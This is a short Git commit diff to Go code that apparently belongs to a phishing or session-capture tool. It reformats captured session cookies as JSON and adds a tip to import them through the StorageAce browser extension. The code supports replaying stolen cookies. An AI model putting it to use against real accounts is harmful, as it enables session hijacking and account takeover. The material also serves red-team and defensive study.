EditThisCookie extension is deprecated - added changes to support StorageAce extension for importing cookies

This commit is contained in:
Kuba Gretzky 2025-01-21 16:16:10 +01:00
parent 9e32484719
commit ff902ee59c

View File

@ -483,6 +483,7 @@ func (t *Terminal) handleSessions(args []string) error {
if len(s.CookieTokens) > 0 { if len(s.CookieTokens) > 0 {
json_tokens := t.cookieTokensToJSON(s.CookieTokens) json_tokens := t.cookieTokensToJSON(s.CookieTokens)
log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens) log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens)
log.Printf("%s %s %s %s%s\n\n", dgray.Sprint("(use"), cyan.Sprint("StorageAce"), dgray.Sprint("extension to import the cookies:"), white.Sprint("https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo"), dgray.Sprint(")"))
} }
} }
break break
@ -1262,9 +1263,10 @@ func (t *Terminal) cookieTokensToJSON(tokens map[string]map[string]*database.Coo
ExpirationDate int64 `json:"expirationDate"` ExpirationDate int64 `json:"expirationDate"`
Value string `json:"value"` Value string `json:"value"`
Name string `json:"name"` Name string `json:"name"`
HttpOnly bool `json:"httpOnly,omitempty"` HttpOnly bool `json:"httpOnly"`
HostOnly bool `json:"hostOnly,omitempty"` HostOnly bool `json:"hostOnly"`
Secure bool `json:"secure,omitempty"` Secure bool `json:"secure"`
Session bool `json:"session"`
} }
var cookies []*Cookie var cookies []*Cookie
@ -1278,13 +1280,16 @@ func (t *Terminal) cookieTokensToJSON(tokens map[string]map[string]*database.Coo
Name: k, Name: k,
HttpOnly: v.HttpOnly, HttpOnly: v.HttpOnly,
Secure: false, Secure: false,
Session: false,
} }
if strings.Index(k, "__Host-") == 0 || strings.Index(k, "__Secure-") == 0 { if strings.Index(k, "__Host-") == 0 || strings.Index(k, "__Secure-") == 0 {
c.Secure = true c.Secure = true
} }
if domain[:1] == "." { if domain[:1] == "." {
c.HostOnly = false c.HostOnly = false
c.Domain = domain[1:] // c.Domain = domain[1:] - bug support no longer needed
// NOTE: EditThisCookie was phased out in Chrome as it did not upgrade to manifest v3. The extension had a bug that I had to support to make the exported cookies work for !hostonly cookies.
// Use StorageAce extension from now on: https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo
} else { } else {
c.HostOnly = true c.HostOnly = true
} }